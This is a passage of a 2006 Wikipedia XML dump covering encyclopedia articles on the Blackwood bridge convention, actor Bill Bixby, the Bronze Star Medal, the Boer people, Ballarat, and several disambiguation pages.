[[Category:1986 arcade games]]
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[[Category:Commodore 64 games]]
[[Category:Amiga games]]
[[Category:Atari ST games]]
[[Category:NES games]]
[[Category:Taito games]]
[[Category:ZX Spectrum games]]
[[Category:PlayStation games]]
[[Category:Amstrad CPC games]]
[[Category:Game Boy games]]
[[Category:Game Boy Color games]]
[[Category:Game Gear games]]
[[Category:Sega Master System games]]
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[[de:Bubble Bobble]]
[[fr:Bubble Bobble]]
[[it:Bubble Bobble]]
[[ja:&amp;#12496;&amp;#12502;&amp;#12523;&amp;#12508;&amp;#12502;&amp;#12523;|Bubble Bobble]]
[[sv:Bubble Bobble]]
[[fi:Bubble Bobble]]</text>
    </revision>
  </page>
  <page>
    <title>Blackwood</title>
    <id>4966</id>
    <revision>
      <id>42067864</id>
      <timestamp>2006-03-03T16:19:52Z</timestamp>
      <contributor>
        <username>Mtz1031</username>
        <id>527629</id>
      </contributor>
      <text xml:space="preserve">'''Blackwood''' can refer to:

*[[Acacia melanoxylon]] and its wood

As a place:
*[[Blackwood, New Jersey]] in the [[United States]]
*[[Blackwood, Wales|Blackwood]] (traditionally in [[Monmouthshire]]) in [[Wales]], [[United Kingdom]]
*[[Blackwood, Dumfries and Galloway]] in [[Scotland]], [[United Kingdom]]
*[[Blackwood, South Lanarkshire]] in [[Scotland]], [[United Kingdom]]
*[[Blackwood, South Australia]] is a suburb of [[Adelaide]] in [[Australia]]

As a surname:
*Captain [[Henry Blackwood]] of the [[Royal Navy]].
*[[Frederick Hamilton-Temple-Blackwood, 1st Marquess of Dufferin and Ava|Frederick Temple Hamilton-Temple-Blackwood, 1st Marquess of Dufferin and Ava]] 
*[[Algernon Blackwood]], a British writer of ghost stories.
*[[Easley Blackwood Jr.]], composer, professor of music and author of books on [[music theory]].
*[[Easley Blackwood Sr.]], his father, Bridge player and originator of the [[Blackwood convention]].
*[[James Blackwood]], an American gospel singer
*[[The Blackwood Brothers]], American gospel singers
*[[William Blackwood]], Scottish publisher of ''[[Blackwood's Magazine]]''
*[[Blackwood]], Sept (sub-family) of the ''[[Clan Douglas]]'' of Scotland.

Maritime:
*A Royal Navy warship, [[HMS Blackwood|HMS ''Blackwood'']], named after Captain Henry Blackwood.
*A class of ship in the Royal Navy, the [[Blackwood class frigate|Type 14 ''Blackwood''-class frigate]], also named after the captain.

Other:
*[[Lincoln Blackwood|Blackwood]] is a luxury [[pickup truck]] from Lincoln .
*The [[Blackwood convention]] in [[Contract Bridge]]

{{disambig}}


[[de:Blackwood]]</text>
    </revision>
  </page>
  <page>
    <title>Blackwood convention</title>
    <id>4967</id>
    <revision>
      <id>40997081</id>
      <timestamp>2006-02-24T10:38:50Z</timestamp>
      <contributor>
        <username>Duja</username>
        <id>80797</id>
      </contributor>
      <minor />
      <comment>/* Roman Blackwood */ - fix link</comment>
      <text xml:space="preserve">{{Bridgenote}}
The '''Blackwood convention''' is a popular [[convention (bridge)|bidding convention]] in [[contract bridge]] that was developed by [[Easley Blackwood Sr.]]. It is intended to be used in cases where the combined hands of a partnership are so strong that a slam is a possibility.  It allows one partner to gain information on the number of aces, and possibly the number of kings, in the other partner's hand.

When this convention is in force, a bid of 4NT (No Trump) asks the partner to provide information on the number of aces in his or her hand.  With no aces or four aces partner replies 5&lt;font size=4&gt;&amp;clubs;&lt;/font&gt;; with one ace, 5&lt;font color=red&gt;&lt;font size=4&gt;&amp;diams;&lt;/font&gt;&lt;/font&gt;; with two aces, 5&lt;font color=red&gt;&lt;font size=4&gt;&amp;hearts;&lt;/font&gt;&lt;/font&gt; and with three aces, 5&lt;font size=4&gt;&amp;spades;&lt;/font&gt;.  The asking bidder usually has one or two aces, so it is easy to discover the partnership's combined assets.  A continuing bid of 5NT asks for Kings with the replies following the same pattern.

This system is not without problems, however.  With hands that have a void, a player is not able to tell whether partner's ace is in the void suit (where it would not be of great help) or in a side suit (where it would be very useful.)  For this reason cue bidding to show aces is a superior method with hands that contain a void.  In fact, most beginner-level players misuse this convention; they ask for aces when they really need other information from partner.

Beginners&amp;mdash;and even more advanced players&amp;mdash;often fail to comprehend the fundamental purpose of the Blackwood convention. They believe&amp;mdash;incorrectly&amp;mdash;that the convention is designed for the purpose of ascertaining if the partnership holds '''all four''' aces. In fact, the purpose of Blackwood is fundamentally to determine if the partnership is missing two (or more!) aces. If the partnership is missing only one ace, then 12 tricks are still attainable, assuming that the partnership resources are sufficient to capture this many tricks. 

Blackwood should not be used when the information gleaned will not answer the question that needs to be answered. A simplified, but instructive, way to think about Blackwood is this: &quot;I am concerned that we may lose the first two tricks, if we bid a slam. I can use Blackwood as a kind of insurance policy, to guarantee that this will not happen.&quot; But Blackwood will not help if, due to the structure of the hands, there are multiple ways to lose the first two tricks. It only helps, for the most part, if the exclusive risk of losing the first two tricks is due to the opponents' holding two cashable '''aces'''. Obviously, the opposition might hold the ace and king of a side suit, and could bang those tricks right down, resulting in an immediate set. 

Thus, a player should use Blackwood only when he can ascertain that the partnership holds at least second-round controls in all suits (kings or, if a suit fit is found, singletons). Thus, a Blackwood query by the player holding two quick losers in a side suit is a wild gamble, as it is still possible that the suit is not controlled by an Ace or a King.

For the same reason, it is generally wrong to use Blackwood with a void. (This is not always true, but the author's rule is: Don't use Blackwood with a void unless you are absolutely sure you know what you are doing, and why you are doing it. If you don't understand why it is correct, in a given case, to use Blackwood with a void, then it's very likely that its usage will be incorrect.) You may be missing two aces, but your void may compensate for the lack of one of the enemy aces. Thus, Blackwood will not tell you what you want to know: Are we at risk of losing the first two tricks? If your side has two aces and a void, then you are not at risk of losing the first two tricks, so long as (a) your void is useful (i.e. does not duplicate the function of an ace that your side holds) and  (b) you are not vulnerable to the loss of the first two tricks in the fourth suit (because, for instance, one of the partnership hands holds a singleton in that suit or the protected king, giving your side second round control). 

Other problems can easily occur when Clubs is the agreed upon trump suit.  The reply to Blackwood could take the partnership past their agreed suit and going to the next higher level may be one trick too high.  The adage is 'don't use the convention if there is a possibility you won't like the reply.'

==Roman Blackwood==

A variation of the convention, known as ''Roman Blackwood'', was popularized by famous Italian [[Blue Team (bridge)|Blue Team]]. In Roman Blackwood, the responses are even more ambiguous, but more space-conserving. The basic outline of responses is:
{|
|5&lt;font color=black size=&quot;4&quot;&gt;&amp;clubs;&lt;/font&gt;||&amp;ndash; 0 or 3 aces
|-
|5&lt;font color=red size=&quot;4&quot;&gt;&amp;diams;&lt;/font&gt;||&amp;ndash; 1 or 4 aces
|-
|5&lt;font color=red size=&quot;4&quot;&gt;&amp;hearts;&lt;/font&gt;||&amp;ndash; 2 aces
|}
In practice, the ambiguity is unlikely to occur, as a strength difference between hands with 0 or 1 and 3 or 4 aces is big enough that it can be established in previous rounds of bidding. In other words, a partner who has previously shown e.g. 12-15 range of [[High card point|high points]] is unlikely to hold 3 aces for his bid, etc.

Even Roman Blackwood convention has several variations, revolving around 5&amp;hearts; and 5&amp;spades; responses. In all variants, they denote 2 aces. One variation is that 5&amp;spades; shows extra values, while 5&amp;hearts; does not. In other variations, responses 5&amp;hearts;-5NT denote specific combinations of aces (same color, same rank, or &quot;mixed&quot;). 

If the querying partner ascertains that all aces are present, he can continue as follows:
*5NT is a [[Grand slam force]]
*The first available bid which is not the agreed suit is the Roman Blackwood for kings. The partner responds stepwise, as above.

==Roman Key Card Blackwood (RKCB)==

In modern times, a system called Roman Key Card Blackwood (RKCB) has largely replaced the original sytem, at least among more advanced players.  The king of trump is included as a control or a &quot;key card&quot;&amp;mdash; in effect, as a &quot;fifth ace&quot;&amp;mdash; and so more information is gained. The responses are basically the same as for Roman Blackwood, but with five &quot;aces&quot; in play, and aditionally queen of trumps:

{|
|5&lt;font color=black size=&quot;4&quot;&gt;&amp;clubs;&lt;/font&gt;||&amp;ndash; 0 or 3 key cards
|-
|5&lt;font color=red size=&quot;4&quot;&gt;&amp;diams;&lt;/font&gt;||&amp;ndash; 1 or 4 key cards
|-
|5&lt;font color=red size=&quot;4&quot;&gt;&amp;hearts;&lt;/font&gt;||&amp;ndash; 2 key cards without trump Queen
|-
|5&lt;font color=black size=&quot;4&quot;&gt;&amp;spades;&lt;/font&gt;||&amp;ndash; 2 key cards with trump Queen
|}

As with Roman Blackwood, for the ambiguous answers in the minor suits the asking partner can almost always work out which it is by looking at the controls in his or her own hand and by analyzing the bidding. The response of five key cards does not exists, as it is simply forbidden for the partner lacking any key card to query Blackwood. The old bridge joke that applies here is, if your partner used RKCB (or regular Blackwood), and you have all four aces (or all five key cards, playing RKCB), then don't respond at all. Instead, rise slowly from your seat and leave the room quietly, because you are playing with a lunatic and your life may be in danger. 

Even if partner gives a minor suit response to the RKCB 4NT inquiry, the inquiring partner may still determine if his side holds the queen of trumps. Bidding the next &quot;meaningless&quot; suit up from the 5-level response of the interrogated partner is a &quot;queen ask&quot; for the queen of trump.  It is interesting to note that, in case when one player can ascertain that a 10-trump fit exists, the queen of trump is considered to be held even if it isn't, because two rounds of trumps will draw all the outstanding trumps in a very high percentage of the cases. 

All the foregoing bidding is predicated on the assumption that a trump suit has been agreed upon.  Without trump agreement, the last suit bid before the 4NT bid is considered to be the agreed trump suit for responding purposes.  When No Trump was the last bid made, 4NT is considered to be a quantitative raise and invitational to a small slam.  Therefore a bid of 4&lt;font size=4&gt;&amp;clubs;&lt;/font&gt; (Gerber) is used in many partnerships to ask for aces in no trump sequences.

==External links==
*[http://www.bridgeguys.com/Conventions/RomanBlackwood.html Roman Blackwood] 
*[http://www.bridgeguys.com/Conventions/BlueTeamRomanResponses.html Blue Team Roman Blackwood]
*[http://www.bridgebum.com/rkc.php Roman Key Card Blackwood]

[[Category:Bridge conventions]]

[[fr:Convention Blackwood]]
[[nl:Blackwood]]
[[pl:Blackwood]]</text>
    </revision>
  </page>
  <page>
    <title>Bill Bixby</title>
    <id>4969</id>
    <revision>
      <id>41631410</id>
      <timestamp>2006-02-28T17:33:34Z</timestamp>
      <contributor>
        <username>Grstain</username>
        <id>74943</id>
      </contributor>
      <comment>delete repeated word; spell out numbers; edits; wikis; tidy; avoid redirect; remove repeated links</comment>
      <text xml:space="preserve">[[image:hulkbixby.jpg|thumb|200px|Bill Bixby with [[Lou Ferrigno]] in a promotional photo for ''[[The Incredible Hulk (TV Series)|The Incredible Hulk]]''.]]
'''Bill Bixby''' ([[January 22]], [[1934]] &amp;ndash; [[November 21]], [[1993]]), was an [[United States|American actor]], [[television director|director]] and frequent [[game show]] panelist who starred in three popular American television series that spanned nearly two decades, as Tim O'Hara in ''[[My Favorite Martian]]'' ([[1963]]&amp;ndash;[[1966]]), as Tom Corbett, the title role in ''[[The Courtship of Eddie's Father]]'' ([[1969]]&amp;ndash;[[1972]]); and as Dr. David Banner in ''[[The Incredible Hulk (TV Series)|The Incredible Hulk]]'' ([[1978]]&amp;ndash;[[1982]]) with [[Lou Ferrigno]]. He also starred in ''[[The Magician (television series)|The Magician]]'' ([[1973]]) and in a short-lived comedy, ''[[Goodnight Beantown]]'' with [[Mariette Hartley]] in 1984.

== Early life ==
He was born '''Wilfred Bailey Bixby''', a fourth-generation Californian, in [[San Francisco, California]] where his father, Wilfred Everett Bixby, was a store clerk and his mother Jane Bixby, was a department store owner. In [[1946]], his mother encouraged him to take [[ballroom dance]] lessons and from there, he started dancing all around the city. While dancing, he attended [[Lowell High School (San Francisco)|Lowell High School]] where he perfected his oratory and dramatic skills as a member of the [[Lowell Forensic Society]]. He competed in high school speech tournaments regionally. After graduation, against his parents wishes, he majored in drama at [[San Francisco City College]] and graduated from the [[University of California, Berkeley]], the same university his parents went to. 

After he graduated from college, he moved to [[Hollywood]] where he had a string of odd jobs that included bellhop and lifeguard. He organized shows at a resort in [[Jackson Hole]], [[Wyoming]]. In 1959, he was hired to work as a model and to do commercial work for [[General Motors]] and [[Chrysler]].

== Television career ==
In [[1961]], Bixby went to [[Detroit, Michigan]], where he was in the musical, “The Boyfriend,” at the Detroit Civic Theater. He then returned to Hollywood where he made his [[acting]] debut on an episode of ''[[The Many Loves of Dobie Gillis]]'', and as a [[character actor]]. As his name became popular, he guest-starred in many other [[situation comedy|situation comedies]] and TV series such as ''[[Ben Casey]]'', ''[[The Twilight Zone]]'', ''The [[Andy Griffith Show]]'', ''[[Dr. Kildare]]'', ''Hennessey'', among many others. He also joined the cast of ''The [[Joey Bishop]] Show'' in 1962.

===''My Favorite Martian''===
Bixby auditioned in [[1963]] for a new sitcom, ''[[My Favorite Martian]]'' on CBS, where he received a co-starring role as young news reporter, Tim O’Hara, who befriended an extraterrestrial played by [[Ray Walston]]. The show was a ratings winner in its first year, and it was ranked #10 for primetime programming. Also, Bixby often had the knack of comedic timing. But by 1966, bad scripts and high production costs forced the series to come to an end after 107 episodes.

== Film work ==
After the cancellation of ''Martian'', Bixby starred in four box-office movies: ''[[Ride Beyond Vengeance]]'' ([[1966 in film|1966]]), on which he played the evil, Johnsy Boy Hood, ''[[You’ve Got to Be Kidding]]'' ([[1967 in film|1967]]), and two of [[Elvis Presley]]’s movies, ''[[Clambake]]'' ([[1967 in film|1967]]), and ''[[Speedway (film)|Speedway]]'' ([[1968 in film|1968]]). Bixby turned down the role as [[Marlo Thomas]]’s boyfriend in ''[[That Girl]]'' and starred in two failed pilots.

===''The Courtship of Eddie's Father''===
In [[1969]], Bixby starred as Tom Corbett in another successful sitcom, ''[[The Courtship of Eddie's Father]]'' for [[American Broadcasting Company|ABC]], about a widowed father who wants to spend more time with his son while dating women. It was based on the popular [[1963]] movie, starring [[Glenn Ford]] and [[Ron Howard]]. His co-star on the show was [[Brandon Cruz]], with whom he developed a close relationship. He was nominated for a [[Emmy Award]] for Lead Actor in a Comedy Series, but did not win. The following year, he won the [[Parents Without Partners]] Exemplary Service Award for 1972. By its final season, ''Courtship'' started to lose points in the ratings, and Bixby had an argument with [[James Komack]] which caused more friction. It was cancelled in 1972 after 78 episodes. 

==After ''Courtship''==
In [[1973]], Bixby starred in ''The Magician'', playing Anthony Dorian, which lasted one season. As a game show panelist, he appeared mostly on [[Password]] and [[The Hollywood Squares]]. An accomplished amateur magician, Bixby also hosted several specials in the mid-1970s that featured other amateur magicians.

===''The Incredible Hulk''===
In late [[1977]], after working on two comedy series, Bixby starred in a two-hour pilot movie called ''[[Hulk (comics)|The Incredible Hulk]]''. The producers convinced CBS to turn it into a weekly science-fiction series beginning in early [[1978]]. His character, Dr. David Banner, was a scientist/physician who turned into a green monster (played by [[Lou Ferrigno]]) when he became angry. A hit, the series was seen in over 70 countries as Bixby's character rips his shirts apart before becoming the ''Hulk.'' Bixby felt that the make-up requirements for his part were onerous however. More than a courageous move to star in a [[science]]-[[fiction]] series, but he decided to take a risky one after finished reading the entire script. On the pilot episode of the ''Hulk'', his catch-phrase became popular as he uttered, &quot;Don't make me angry, you wouldn't like me when I'm angry,&quot; as this one became one of Bixby's better hit series, and making him a [[pop icon|pop]] [[icon]] of the [[1970]]s. During the show's run, he also invited two of his long-time friends (Ray Walston from ''My Favorite Martian'' and Brandon Cruz from ''The Courtship of Eddie's Father'') from two of his previous hit series to [[guest]]-[[star]] with him on several different episodes of the ''Hulk''. In 1981, Bixby not only acted, but served one time as director of the show. The series was cancelled that following year. Bixby was disappointed that his character was not cured of his condition in the final episode.

After he starred in three successful TV series, he wanted to concentrate on directing, from his own short-lived comedy, ''[[Goodnight, Beantown]]'' with [[Mariette Hartley]] (when she guest-starred with Bixby on ''[[The Incredible Hulk]]''), to the successful, ''[[Sledgehammer]]''. In addition to ''Hulk,'' Bixby directed two of the three TV movie revivals which he also produced. Prior to his death he was the lead director of the TV sitcom ''[[Blossom (television)|Blossom]]''.

==Private and later life==
Bixby had been married three times. He married actress and former MISS USA [[Brenda Benet]] in [[1971]], and the couple gave birth to Christopher, a few years later. They were divorced in [[1980]]. In 1981, Bixby's six-year-old son Christopher died suddenly after an accident at the actor's [[Brentwood, Los Angeles, CA]] home. Shortly afterwards, Benet committed suicide.

Nine years later in [[1989]], he met and fell in love with Laura Michaels, who used to work on the set of one of his ''Hulk'' movies. The couple married a year later in Hawaii. In early [[1991]], Bixby was diagnosed with [[prostate cancer]] and underwent treatment for the disease. He was divorced in the same year. In late [[1992]], friends introduced him to an artist named Judith Kliban, the widow of [[B. Kliban]], a cartoonist who died of cancer. He married Judith in late [[1993]], just six weeks before he collapsed on the set of ''Blossom''.

Eventually, Bixby's cancer recurred and was diagnosed as inoperable. Six days after his final assignment, directing an episode of ''Blossom'', Bill Bixby passed away from complications arising from prostate cancer in [[Century City, California]] on November 21, 1993.

==External links==
*{{imdb name|id=0084642|name=Bill Bixby}}
*{{nndb name|id=162/000026084|name=Bill Bixby}}

[[Category:1934 births|Bixby, Bill]]
[[Category:1993 deaths|Bixby, Bill]]
[[Category:American actors|Bixby, Bill]]
[[Category:American film directors|Bixby, Bill]]
[[Category:American magicians|Bixby, Bill]]
[[Category:American musical theatre actors|Bixby, Bill]]
[[Category:American television directors|Bixby, Bill]]
[[Category:American television personalities|Bixby, Bill]]
[[Category:American television producers|Bixby, Bill]]
[[Category:Character actors|Bixby, Bill]]
[[Category:Entertainers who died in their 50s|Bixby, Bill]]
[[Category:Film actors|Bixby, Bill]]
[[Category:Hulk|Bixby, Bill]]
[[Category:Phi Delta Theta brothers|Bixby, Bill]]
[[Category:San Franciscans|Bixby, Bill]]
[[Category:Stage actors|Bixby, Bill]]
[[Category:Television actors|Bixby, Bill]]

[[de:Bill Bixby]]
[[sv:Bill Bixby]]</text>
    </revision>
  </page>
  <page>
    <title>Beast</title>
    <id>4970</id>
    <revision>
      <id>41942428</id>
      <timestamp>2006-03-02T20:02:07Z</timestamp>
      <contributor>
        <username>Ronvelig</username>
        <id>170450</id>
      </contributor>
      <comment>added UK sitcom</comment>
      <text xml:space="preserve">{{Wiktionarypar|beast}}
'''Beast''' is another name for [[animal]], usually one that is particularly large and dangerous. It may also refer to:
__NOTOC__
=== Popular entertainment ===
* [[Beast (comics)]], a superhero in the Marvel X-Men and Avengers comics
* The Beast, a character from the [[France|French]] folktale ''[[Beauty and the Beast]]'' and the films inspired by it
* [[The Beast of War]], a 1989 film
* [[The Beast (2006)]], a 2006 film 
* [[Beast (Buffyverse)]], a monster from the TV series ''Angel''
* [[The Beast (game)]], an alternate reality game
* [[Beast ASCII Game]], a 1984 ASCII game, 
* [[The Beast (Homeworld)]], the antagonist in the computer game ''Homeworld: Cataclysm''
* &quot;The Beast&quot;, a song by Twisted Sister from their album ''[[Stay Hungry]]'' (1984)
* [[Beast (Sitcom)]], a [[UK]] sitcom, based in a [[Veterinary medicine|Veterinary Surgery]] (2000-01)

=== Religion ===
* The [[Antichrist]], from the Book of Revelation in the Christian Bible 
* [[The Number of the Beast]], from the Book of Revelation

=== Books ===
* [[Beast (novel)]], a 1991 novel by [[Peter Benchley]]
* ''The Beast'', an autobiography of [[Paul Di'Anno]], former vocalist of [[Iron Maiden]]
* Beast, 2002 novel by [[Donna Jo Napoli]]

=== Other ===
* [[The Beast (Newspaper)]], a biweekly serving Buffalo, New York
* [[Beasts (plays)]], a series of plays on the UK's independent TV channel in 1976
* [[Beast (roller coaster)]], a roller coaster at Paramount's Kings Island amusement park
* The Great Beast, a nickname for magician [[Aleister Crowley]]

===See also===
* [[Number of the Beast (disambiguation)]]

{{Disambig}}

[[ja:獣]]</text>
    </revision>
  </page>
  <page>
    <title>Boer</title>
    <id>4971</id>
    <revision>
      <id>41300599</id>
      <timestamp>2006-02-26T11:08:39Z</timestamp>
      <contributor>
        <username>Rebelguys2</username>
        <id>406178</id>
      </contributor>
      <comment>create dab link to [[Boer goat]]</comment>
      <text xml:space="preserve">:''This article is about the Boer people. For the animal, see [[Boer goat]].''
'''Boer''' is the [[Afrikaans]] (and [[Dutch language|Dutch]]) word for [[farmer]] which came to denote the descendants of the Afrikaans-speaking migrating farmers of the expanding eastern [[Cape of Good Hope|Cape]] frontier. The Boers are descended mainly from [[Dutch people|Dutch]] [[Calvinist]], [[Frisian]] Calvinist, [[French people|French]] [[Huguenot]], [[Walloon]], [[Flemings|Flemish]] and [[German people|German]] [[Protestant]] origins dating from the [[1650s]] and into the [[1700s]]. Smaller but significant numbers of [[Scandinavians]], [[Scottish ethnicity|Scots]], [[English people|English]], [[Demographics of India|Indians]], [[Malays]] &amp; [[Khoi]] have been absorbed as well. Those Boers who trekked into and inhabited the eastern Cape frontier were semi-nomadic. The term Boer is sometimes used in general to refer to an [[Afrikaner]]. When used in an historical context, it may refer to an inhabitant of the [[Boer republic]]s as well as those who were cultural Boers. The Boers were largely, though not completely, absorbed into the Afrikaner designation following the [[Second Boer War|Anglo-Boer War]].    

==See also==
*[[Afrikaner]]
*[[Voortrekker]]/[[Great Trek]]
*[[Natalia Republic]]
*[[Orange Free State]]
*[[Transvaal]]
*[[South African Republic]]
*[[Volkstaat]]
*[[South African Farmer Murders]]

==External links==
* [http://www.stopboergenocide.com/29301/32001.html Who Were The Boers of the Anglo-Boer War.] H Labuschagne.  
* [http://www.stopboergenocide.com/29301/index.html Boer, Afrikaner or White - Which Are You?]] Adriana Stuijt. 
*[http://www.telegraph.co.uk/news/main.jhtml;jsessionid=VWPBD0WZERADXQFIQMGSM5WAVCBQWJVC?xml=/news/2005/07/03/wsafr03.xml&amp;sSheet=/portal/2005/07/03/ixportal.html Telegraph: Murders foreshadow South African land war] [[3 July]] [[2005]]
*[http://news.bbc.co.uk/2/hi/programmes/this_world/4630665.stm BBC: South Africa's bloody battle for land] [[4 July]] [[2005]]
*[http://www.mg.co.za/articlePage.aspx?articleid=250558&amp;area=/breaking_news/breaking_news__national/# Mail&amp;Guardian: Govt hits out at 'anti-land-reform' farmers] [[10 September]] [[2005]]

{{SouthAfrica-stub}}

[[Category:South African society]]

[[es:Bóer]]
[[pt:Bôeres]]
[[zh:布尔人]]</text>
    </revision>
  </page>
  <page>
    <title>Bronze Star Medal</title>
    <id>4972</id>
    <revision>
      <id>34100945</id>
      <timestamp>2006-01-06T11:54:46Z</timestamp>
      <contributor>
        <username>Binche</username>
        <id>600029</id>
      </contributor>
      <minor />
      <comment>fr link</comment>
      <text xml:space="preserve">[[Image:Bronze_Star_Medal_Obverse.PNG|thumb|125px|Bronze Star Medal Obverse]]
[[Image:Bronze_Star_Medal_Reverse.PNG|thumb|125px|Bronze Star Medal Reverse]]
The '''Bronze Star Medal''' is a [[United States Armed Forces]] individual [[Awards and decorations of the United States military|military decoration]] and is the fourth highest award for bravery, heroism or meritorious service. 

== General information ==

The medal is awarded to any person who, while serving in any capacity in or with the military of the [[United States]] after [[December 6]], [[1941]], distinguished himself or herself by heroic or meritorious achievement or service, not involving participation in aerial flight, while engaged in an action against an enemy of the United States; while engaged in military operations involving conflict with an opposing foreign force; or while serving with friendly foreign forces engaged in an armed conflict against an opposing armed force in which the United States is not a belligerent party.  

Awards may be made for acts of heroism, performed under circumstances described above, which are of lesser degree than required for the award of the [[Silver Star]]. Awards may also be made to recognize single acts of merit or meritorious service. The required achievement or service while of lesser degree than that required for the award of the [[Legion of Merit]] must nevertheless have been meritorious and accomplished with distinction.

The Bronze Star Medal is typically referred to by its full name (including the word &quot;Medal&quot;) to differentiate the decoration from [[service star|bronze service stars]] which are worn on [[campaign medal]]s and [[service medal|service awards]].

== History ==
General [[George C. Marshall]], in a memorandum to [[President of the United States|President]] [[Franklin D. Roosevelt]] dated [[February 3]], [[1944]], wrote:

: &amp;ldquo;''The fact that the ground troops, [[Infantry]] in particular, lead miserable lives of extreme discomfort and are the ones who must close in [[personal combat]] with the enemy, makes the maintenance of their morale of great importance. The award of the [[Air Medal]] have had an adverse reaction on the ground troops, particularly the [[Infantry Riflemen]] who are now suffering the heaviest losses, air or ground, in the Army, and enduring the greatest hardships.''&amp;rdquo;

The [[Air Medal]] had been adopted two years earlier to raise airmen's morale. President Roosevelt authorized the Bronze Star Medal by [[Executive Order]] 9419 dated [[February 4]], [[1944]], retroactive to [[December 7]], [[1941]]. This authorization was announced in War Department Bulletin No. 3, dated [[February 10]], [[1944]].

The Executive Order was amended by President [[John F. Kennedy]], per Executive Order 11046 dated [[August 24]], [[1962]], to expand the authorization to include those serving with friendly forces. Such an honor has been presented but three times:
#To the 2nd Battalion of [[Princess Patricia's Canadian Light Infantry]] for their fight in the [[Operation Medak pocket|Medak Pocket]] in the [[Socialist Federal Republic of Yugoslavia|former Yugoslavia]];
#To the 1st Battalion of the [[Royal 22e Régiment|Royal 22&lt;sup&gt;e&lt;/sup&gt; Régiment]] for its defense of the airport at [[Sarajevo]];
#To 26 members of 3rd Battalion, Princess Patricia's Canadian Light Infantry Battle Group, including posthumously to four killed when a U.S. F-16 fighter-bomber mistakenly attacked them as they conducted a night firing exercise on the outskirts of [[Kandahar]], [[Afghanistan]].

==CIB &amp; CMB Conversion==

As a result of a study conducted in [[1947]], the policy was implemented that authorized the retroactive award of the Bronze Star Medal to soldiers who had received the [[Combat Infantryman Badge]] or the [[Combat Medical Badge]] during [[World War II]]. The basis for doing this was that the badges were awarded only to soldiers who had borne the hardships which resulted in General Marshall's support of the Bronze Star Medal. Both badges required a recommendation by the commander and a citation in orders.

==Appearance==

The Bronze Star is a bronze star 1 1/2 inches (38 mm) in circumscribing diameter. In the center thereof is a 3/16 inch (48 mm) diameter superimposed bronze star, the center line of all rays of both stars coinciding. The reverse has the inscription &lt;small&gt;&quot;HEROIC OR MERITORIOUS ACHIEVEMENT&quot;&lt;/small&gt; and a space for the name of the recipient to be engraved. The star is suspended from the ribbon by a rectangular shaped metal loop with the corners rounded.  The ribbon is 1 3/8 inches (35 mm) wide and consists of the following stripes: 1/32 inch (1 mm) white 67101; 9/16 inch (14 mm) scarlet 67111; 1/32 inch (1 mm) white; center stripe 1/8 inch (3 mm) ultramarine blue 67118; 1/32 inch (1 mm) white; 9/16 inch (14 mm) scarlet; and 1/32 inch (1 mm) white.

==Devices==

Additional awards of the Bronze Star Medal are denoted in the [[United States Army|Army]] and [[United States Air Force|Air Force]] by [[oak leaf clusters]]. The [[United States Navy|Navy]], [[United States Marines|Marines]], and [[United States Coast Guard|Coast Guard]] issue [[award stars]] to denote subsequent decorations.

The [[Valor device]] (or ''&quot;V&quot; device'') is authorized by all services and is awarded to represent [[valor]] and does not denote an additional award. Only one may be worn on any ribbon.

[[fr:Bronze Star Medal]]

[[Category:Star symbols]]
[[Category:Awards and decorations of the United States military]]</text>
    </revision>
  </page>
  <page>
    <title>Ballarat, Victoria</title>
    <id>4973</id>
    <revision>
      <id>41602433</id>
      <timestamp>2006-02-28T12:43:40Z</timestamp>
      <contributor>
        <username>ScottDavis</username>
        <id>161735</id>
      </contributor>
      <minor />
      <comment>/* Famous sons, daughters, and residents */ removed spurious entries</comment>
      <text xml:space="preserve">{{Infobox Australian City|
name = Ballarat |
image_map = Ballaratarms.jpg |
name = Ballarat |
latd=35|latm=18|latNS=S|longd=149|longm=08|longEW=E|
jurisdiction = [[Victoria (Australia)|VIC]] |
area = |
time_zone= [[UTC10|AEST]] |
utc_offset= +10 |
time_zone_DST= [[UTC11|AEDT]] |
utc_offset_DST= +11 |
population_estimate_year = 2004 |
population_estimate = 87,000 |
population_estimate_rank = 20th |
population_density = |
}}
'''Ballarat''' ({{coor dm|37|33|S|143|51|E|type:city(87000)_region:AU-VIC}}) is the largest inland city in [[Victoria (Australia)|Victoria]], [[Australia]], approximately 120 kilometres north-west of [[Melbourne, Australia|Melbourne]], with a population of 87,000 people. The city lies at 441 metres (1,447 feet) above sea level and covers an area of approximately 740 square kilometres. 

== History ==
The site of the city was originally a stock station established by [[William Cross Yuille]] and [[Henry Anderson]] in [[1838]] and named Ballaarat, which was derived from aboriginal words which mean camping place.
[[Image:BAllarat Hospital.jpg|thumb|250px|[[Ballarat Base Hospital]].]]
It was founded in the early [[1850s]] when [[gold]] was discovered there, and, with a huge influx of population and wealth, was for a time Victoria's largest city.  The legacy of the wealth generated is still visible in a large number of fine stone buildings in and around the city, especially in the Lydiard Street area which contains some of Victoria's finest examples of Victorian era buildings many of which are classified by the [[National Trust of Australia]].  
Ballarat is notable as the site for Australia's only armed civil uprising, the [[Eureka Stockade]] which took place in [[1854]].  The site contains a historical park and a memorial to commemorate the event.

== Features ==
[[Image:Ballarat location map in Victoria.PNG|thumb|left|200px|Location of Ballarat in Victoria (red).]]

The [[Ballarat Botanical Gardens]] are amongst the finest [[Botanical Gardens]] in Australia.
[[Lake Wendouree]] hosted the rowing for the [[1956]] [[Olympic Games]], and is a large recreational lake created out of former wetlands.

== Industries ==
Today, Ballarat's major industries include [[tourism]], food products, brick and tile manufacture, education and information technology services.

==Media==
Residents have their own independent local newspapers,  'The Courier', and the 'Ballarat News'. Local radio stations are 'The Voice', 'Power FM' and 'Noise FM'. Ballarat has its own television broadcasting facilities which provide regional television for most of the eureka district. [[WIN Television|WIN]], [[Prime Television|PRIME]], and [[Southern Cross Ten]] license [[Nine Network]], [[Seven Network]], and [[Network Ten]] content respectively and maintain a similar schedule but with local demographic commercials and local/regional news. Subscription television services are provided by [[Neighbourhood Cable]], and [[Austar]]. 

[[image:rat1-640.jpg|frame|Ballarat looking over [[Lake Wendouree]]; in the distance is [[Mount Warrenheip]].]]&lt;br clear=all /&gt;

==Climate==
Ballarat experiences a temperate climate with four seasons. Because of its elevation, at 450 metres above sea level, mean monthly temperatures tend to be on average 2-3 degrees below those for Melbourne. The mean daily maximum temperature for January is 24.9° Celsius, while for July it is 3°C . The mean annual rainfall is 705 mm, with August being the wettest month (77 mm). There are an average of 198 rain-free days per year.
In winter, [[snow]] occasionally falls on nearby [[Mount Buninyong | Mount Buninyong]], and in very cold winters, has been known to fall in the city centre.

==Famous sons, daughters, and residents==
* [[Henry Bolte]], Premier of Victoria 1955-72
* [[Steve Bracks]], Premier of Victoria, 1999-Present
* [[Henry Daglish]], Premier of [[Western Australia]], 1904-05
